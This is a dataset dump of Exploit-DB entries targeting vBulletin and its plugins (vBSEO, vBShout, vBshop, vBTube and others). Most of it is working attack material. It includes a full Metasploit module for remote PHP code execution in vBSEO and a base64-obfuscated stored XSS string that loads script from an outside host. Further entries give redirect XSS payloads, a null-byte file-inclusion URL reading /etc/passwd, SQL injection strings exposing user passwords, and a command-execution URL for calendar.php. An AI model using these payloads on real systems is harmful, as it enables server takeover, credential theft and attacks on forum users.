deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16076
Description: vBSEO 3.2.2/3.5.2 - Persistent Cross-Site Scripting via LinkBacks
Type: webapps
Platform: php
Date: 2011-01-30
Author: MaXe

Exploit:
vBSEO - Persistent XSS via LinkBacks

http://www.exploit-db.com/vbseo-from-xss-to-reverse-php-shell/

Versions Affected: 3.5.2 & 3.2.2 (Most likely all versions)

Info:
A proven success record, vBSEO powers the most optimized forums on the Web.
The #1 SEO plugin and the only professional, fully supported solution. A full
package of SEO enhancements, one install, one upgrade.

External Links:
http://www.vbseo.com

Credits: MaXe (@InterN0T)


-:: The Advisory ::-
vBSEO is prone to persistent XSS due to insufficient sanitization of the titles on external websites vBSEO reads.
ModCP & AdminCP has the following features affected: "Moderate LinkBacks", "Incoming LinkBacks", "Outgoing LinkBacks"

Sample PoC:
<html>
<head>
<title> [XSS String] </title>
</head>
<body>
<a href="hxxp://vbulletin-installation-with-vbseo.tld/01-some-forum-thread.html">SEKSCY INJECT TIEM!</a> 
</body>
</html>

After clicking the link, which the attacker has to do, vBSEO will initiate a GET-requested to the target and will
then save the linkback if enabled, in either the incoming linkback list or the moderation queue. By default all
linkbacks are enabled and this linkback is known as the "RefBack". (vBSEO checks the Referrer.)

Sample XSS String:
test"><script>document.write(atob(/PHNjcmlwdCBzcmM9Imh0dHA6Ly9pbnRlcm4wdC5uZXQvdXR1YmUvaW5kZXgucGhwP3hzcz1oYXgwcjF0bjB3ZjByMzQxIj48L3NjcmlwdD4=/.source));</script>


-:: Solution ::-
The vendor is still working on a patch even though it is very simple to patch.

File: /modcp/vbseo_moderate.php
Lines: 276 or 274 (depends on version), 230, 178, 112 are vulnerable.
Details: Look for "$pback[t_title]" which is the major cause of this vulnerability.



Disclosure Information:
- Vulnerability found and researched: 16th December 2010
- Disclosed to vendor (vBSEO): 16th December
- Semi-Disclosed at InterN0T: 30th December
- Detailed Disclosure: 31st January 2011


References:
http://forum.intern0t.net/intern0t-advisories/3559-vbseo-3-5-2-3-2-2-persistent-cross-site-scripting-via-linkbacks.html
Exploit-DB #18424
Description: vBSEO 3.6.0 - 'proc_deutf()' Remote PHP Code Injection (Metasploit)
Type: webapps
Platform: php
Date: 2012-01-27
Author: EgiX

Exploit:
require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'vBSEO <= 3.6.0 "proc_deutf()" Remote PHP Code Injection',
			'Description'    => %q{
					This module exploits a vulnerability in the 'proc_deutf()' function
				defined in /includes/functions_vbseocp_abstract.php. User input passed through
				'char_repl' POST parameter isn't properly sanitized before being used in a call
				to preg_replace() function which uses the 'e' modifier. This can be exploited to
				inject and execute arbitrary code leveraging the PHP's complex curly syntax.
			},
			'Author'         => 'EgiX <n0b0d13s[at]gmail.com>', # originally reported by the vendor
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					['BID', '51647'],
					['URL', 'http://www.vbseo.com/f5/vbseo-security-bulletin-all-supported-versions-patch-release-52783/'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 8190,
					'Keys'        => ['php'],
				},
			'Platform'       => ['php'],
			'Arch'           => ARCH_PHP,
			'Targets'        => [[ 'Automatic', { }]],
			'DisclosureDate' => 'Jan 23 2012',
			'DefaultTarget'  => 0))

			register_options(
				[
					OptString.new('URI', [true, "The full URI path to vBulletin", "/vb/"]),
				], self.class)
	end

	def check
		flag = rand_text_alpha(rand(10)+10)
		data = "char_repl='{${print(#{flag})}}'=>"

		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'vbseocp.php'

		response = send_request_cgi({
			'method' => "POST",
			'uri' => uri,
			'data' => "#{data}"
		})

		if response.code == 200 and response.body =~ /#{flag}/
			return Exploit::CheckCode::Vulnerable
		end

		return Exploit::CheckCode::Safe
	end

	def exploit
		if datastore['CMD']
			p = "passthru(\"%s\");" % datastore['CMD']
			p = Rex::Text.encode_base64(p)
		else
			p = Rex::Text.encode_base64(payload.encoded)
		end

		data = "char_repl='{${eval(base64_decode($_SERVER[HTTP_CODE]))}}.{${die()}}'=>"

		uri = ''
		uri << datastore['URI']
		uri << '/' if uri[-1,1] != '/'
		uri << 'vbseocp.php'

		response = send_request_cgi({
			'method' => 'POST',
			'uri' => uri,
			'data' => data,
			'headers' => { 'Code' => p }
		})

		print_status("%s" % response.body) if datastore['CMD']
	end

end
Exploit-DB #18668
Description: vBshop - Multiple Persistent Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2012-03-26
Author: ToiL

Exploit:
# Exploit Title: vBshop persistent XSS 0day
# Google Dork: "DragonByte Technologies Ltd" vbshout
# Date: 25/3/2012 9:32 PM #EST
# Author: ToiL
# Software Link: http://www.dragonbyte-tech.com/
# Version: all
# Tested on: all
# CVE : XSS

#Greeting from Team Odyessy.
#Today we will release a 0day for the vBulletin mod, vBShout.
#This 0day exploit is brought to you by
www.Bugabuse.net/<http://www.bugabuse.net/>
#Have fun, And happy exploiting.

######Guide########


Go to vBshop
Gift an item to aother user.
In the 'message to user' put:
<script>top.location='https://www.bugabuse.net/';</script>
Send the item off.
Go to the users profile that you gifted
Boom. Pers. XSS.
Edit to your likeing.

Go to vBshop
Buy the 'username color change' or 'username glow change'
set it to
<script>top.location='https://www.bugabuse.net/';</script>
and you've got a Pers. XSS.
Edit to your likeing.
Exploit-DB #18644
Description: vBShout - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-03-22
Author: ToiL

Exploit:
# Exploit Title: vBShout persistent XSS 0day

# Google Dork: "DragonByte Technologies Ltd" vbshout

# Date: 21/3/2012 9:00 PM #EST

# Author: ToiL

# Software Link: http://www.dragonbyte-tech.com/

# Version: all

# Tested on: all

# CVE : XSS

#Greeting from Team Odyessy.
#Today we will release a 0day for the vBulletin mod, vBShout.
#This 0day exploit is brought to you by www.Bugabuse.net/
#Have fun, And happy exploiting.

######Guide########


Enter
<script>top.location='https://www.bugabuse.net/';</script>
into the shoutbox
go into the archive.
Vioala. Persistent XSS exploit.
Modify to your liking.
Exploit-DB #14867
Description: vbShout 5.2.2 - Local/Remote File Inclusion
Type: webapps
Platform: php
Date: 2010-09-02
Author: fred777

Exploit:
			
#################################################
+
+  Title:       vbShout 5.2.2 Remote/Local File Inlcusion (Mod/Admin)
+  Author:      fred777 - [fred777.5x.to]
+  Link:        http://www.dragonbyte-tech.com/vbecommerce.php?do=purchase&act=product&id=2
+  Vuln:        vbshout.php?do=[path/file][NULL-Byte]
+  Greetzz to:  SceneCoderz
+  Contact:     nebelfrost77@googlemail.com
+
#################################################
 
--[ Vuln Code ] --
 
modcp/vbshout.php:
admincp/vbshout.php:


else if (!empty($_GET['do']))
{
	// We had a GET request instead

$action = $_GET['do'];

if (!empty($_POST['do']))
{
	// $_POST requests take priority
	
$action = $_POST['do'];
}


if (!file_exists(DIR . '/dbtech/vbshout/includes/actions/admin/' . $action . '.php'))
{
	if (!file_exists(DIR . '/dbtech/vbshout_pro/includes/actions/admin/' . $action . '.php'))
	{
		// Throw error from invalid action
		print_cp_message($vbphrase['dbtech_vbshout_invalid_action']);
	}
	else
	{
		// Include the selected file
		include_once(DIR . '/dbtech/vbshout_pro/includes/actions/admin/' . $action . '.php');	
	}
}
else
{
	// Include the selected file
	include_once(DIR . '/dbtech/vbshout/includes/actions/admin/' . $action . '.php');	
}

=>

../../../../../../etc/passwd%00
 
################################################
 
--[ Exploitable ]--
 
http://server/vbshout.php?do=[PATH/FILE][NULL-Byte]
 
http://server/vbshout.php?do=../../../../../../../../etc/passwd%00
 
You must be mod oder admin:
modcp/vbshout.php
admincp/vbshout.php
 
################################################
Exploit-DB #30168
Description: vBSupport 2.0.0 Integrated Ticket System - 'vBSupport.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-09
Author: rUnViRuS

Exploit:
source: https://www.securityfocus.com/bid/24397/info

vBSupport is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

An attacker can exploit this issue by manipulating the SQL query logic to carry out unauthorized actions on the underlying database.

http://www.example.com/4/vBSupport.php?do=showticket&ticketid=[SQL]
Exploit-DB #30804
Description: VBTube 1.1 - Search Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-11-24
Author: Crackers_Child

Exploit:
source: https://www.securityfocus.com/bid/26566/info

VBTube is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue allows attackers to execute arbitrary HTML or script code in a user's browser session in the context of an affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

This issue affects VBTube 1.1; other versions may also be vulnerable. 

http://www.example.com/vBTube.php?do=search&search=<script>alert(document.cookie)</script>
Exploit-DB #35861
Description: vBTube 1.2.9 - 'vBTube.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-06-14
Author: Mr.ThieF

Exploit:
source: https://www.securityfocus.com/bid/48280/info

vBTube is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

vBTube 1.2.9 is vulnerable; other versions may also be affected. 

http://www.example.com/cy/vBTube.php?page=1&do=user&uname="><script>alert(1);</script> 
http://www.example.com/forum/vBTube.php?do=view&vidid=%22%3E%3Cscript%3Ealert%281%29;%3C/script%3E
Exploit-DB #631
Description: vBulletin - 'LAST.php' SQL Injection
Type: webapps
Platform: php
Date: 2004-11-15
Author: anonymous

Exploit:
Example:

http://www.example.com/last.php?fsel=,user.password%20as%20title,user.%20%20%20%20username%20as%20lastposter%20FROM%20user,thread%20%20%20%20%20WHERE%20usergroupid=6%20LIMIT%201

# milw0rm.com [2004-11-15]
Exploit-DB #26278
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/css.php?group' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14874/info

vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admincp/css.php?do=doedit&dostyleid=1&group=[XSS]
Exploit-DB #26279
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/index.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14874/info
 
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modcp/index.php?do=frames&loc=[XSS]
http://www.example.com/admincp/index.php?redirect=[XSS]
http://www.example.com/admincp/index.php?do=frames&loc=[XSS]
Exploit-DB #26281
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/language.php?goto' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14874/info
   
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admincp/language.php?do=rebuild&goto=[XSS]
Exploit-DB #26282
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/modlog.php?orderby' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14874/info
    
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admincp/modlog.php?do=view&orderby=[XSS]
Exploit-DB #26283
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/template.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14874/info
     
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
     
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/admincp/template.php?do=colorconverter&hex=[XSS]
http://www.example.com/admincp/template.php?do=colorconverter&rgb=[XSS]
http://www.example.com/admincp/template.php?do=modify&expandset=[XSS]
Exploit-DB #26274
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/user.php' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14872/info
 
vBulletin is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

> /admincp/user.php:
GET: <do=find&orderby=username&limitnumber=[SQL-Injection]>
GET: <do=find&orderby=username&limitstart=[SQL-Injection]>
Exploit-DB #26280
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/user.php?email' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14874/info
  
vBulletin is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/modcp/user.php?do=gethost&ip=[XSS]
http://www.example.com/admincp/user.php?do=emailpassword&email=[XSS]
Exploit-DB #26275
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/usertitle.php?usertitleid' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14872/info
  
vBulletin is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

> /admincp/usertitle.php:
GET: <do=edit&usertitleid=0XF>
GET: <do=pmuserstats&ids=0XF>
Exploit-DB #26276
Description: vBulletin 1.0.1 lite/2.x/3.0 - '/admincp/usertools.php?ids' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14872/info
   
vBulletin is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

> /admincp/usertools.php:
POST: <do=updateprofilepic>
Exploit-DB #26273
Description: vBulletin 1.0.1 lite/2.x/3.0 - 'joinrequests.php?request' SQL Injection
Type: webapps
Platform: php
Date: 2005-09-19
Author: deluxe@security-project.org

Exploit:
source: https://www.securityfocus.com/bid/14872/info

vBulletin is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

> /joinrequests.php:
POST: <do=processjoinrequests&usergroupid=22&request[[SQL-Injection]]=0>
Exploit-DB #23688
Description: vBulletin 1.0/1.1/2.0.x/2.2.x - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2004-02-12
Author: Jamie Fisher

Exploit:
source: https://www.securityfocus.com/bid/9649/info

It has been reported that VBulletin is prone to a cross-site scripting vulnerability. This issue is reportedly due to a failure to sanitize user input and so allow HTML and script code that may facilitate cross-site scripting attacks. Upon successful exploitation, this issue may allow for theft of cookie-based authentication credentials or other attacks.

http://www.example.com/forum/register.php?s=60b7ac47d0eba9853b6e36a3b18924bc&s=&do=register&url=AK%22%20style%3D%22background:url(javascript:alert(%27XSS%20Vulnerable%20To%20Cross%20Site%20Scripting%27))%22%20OS%22&month=0&day=0&year=0&who=adult&agree=1
Exploit-DB #24124
Description: vBulletin 1.0/2.x/3.0 - 'index.php' User Interface Spoofing
Type: webapps
Platform: php
Date: 2004-05-17
Author: p0rk

Exploit:
source: https://www.securityfocus.com/bid/10362/info

A weakness has been reported to exist in the VBulletin software that may allow an attacker to spoof parts of the VBulletin interface. The issue exists due to improper validation of user-supplied data.

Remote attackers may potentially exploit this issue, by convincing a VBulletin administrator to follow a specially crafted URI. The URI would contain a URI to a remote attacker owned HTML page as a value for the affected parameter of the 'index.php' script. If the administrator were to follow this link, part of the VBulletin user interface may be spoofed by the attacker.

http://forums.example.com/admincp/index.php?loc=http://www.example.com
Exploit-DB #21874
Description: vBulletin 2.0.3 - 'calendar.php' Command Execution
Type: webapps
Platform: php
Date: 2002-09-27
Author: gosper

Exploit:
source: https://www.securityfocus.com/bid/5820/info

A remote command execution vulnerability has been reported for vBulletin. The vulnerability is due to vBulletin failing to properly sanitize user-supplied input from URI parameters. 

An attacker can exploit this vulnerability to execute malicious commands on the vulnerable system.

http://www.example.com/calendar.php?calbirthdays=1&action=getday&day=2001-8-15&comma=%22;echo%20'';%20echo%20%60<command>%20%60;die();echo%22

where <command> signifies a command to be executed on the system.
Exploit-DB #22077
Description: vBulletin 2.2.7/2.2.8 - HTML Injection
Type: webapps
Platform: php
Date: 2002-11-09
Author: Dorin Balanica

Exploit:
source: https://www.securityfocus.com/bid/6337/info

Problems with vBulletin could make it possible for an attacker to inject arbitrary HTML in vBulletin forum messages.

vBulletin does not sufficiently filter potentially malicious HTML code from posted messages. As a result, when a user chooses to view a message posting that contains malicious HTML code, the code contained in the message would be executed in the browser of the vulnerable user. This will occur in the context of the site hosting the vBulletin forum software.

Attackers may potentially exploit this issue to manipulate web content or to steal cookie-based authentication credentials. It may be possible to take arbitrary actions as the victim user.

This should only be considered an issue if HTML has been enabled in messages. This option is not enabled by default and the vendor recommends that users do not enable it. If the option has been enabled, HTML will not be filtered at all.

*** This vulnerability has been further investigated. It has been reported by the vendor that this functionality is by disabled by default. Additionally, the risks of enabling this feature are documented in the user manual. Therefore, this is not a valid vulnerability, and will be removed from the SecurityFocus Vulnerability Database.

<b onMouseOver="alert(document.location);">Test!</b>
Exploit-DB #28694
Description: vBulletin 2.3.x - 'global.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-26
Author: HACKERS PAL

Exploit:
source: https://www.securityfocus.com/bid/20214/info

vBulletin is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database implementation.

Version 2.3 is vulnerable; other versions may also be affected.

http://www.example.com/global.php?templatesused=nn,dd,'))/* 
SELECT template,title FROM template WHERE (title IN ('nn','dd','\\\'))/*','gobutton','timezone','username_loggedout','username_loggedin','phpinclude','headinclude','header','footer','forumjumpbit','forumjump','nav_linkoff','nav_linkon','navbar','nav_joiner','pagenav','pagenav_curpage','pagenav_firstlink','pagenav_lastlink','pagenav_nextlink','pagenav_pagelink','pagenav_prevlink') AND (templatesetid=-1 OR templatesetid=1)) ORDER BY templatesetid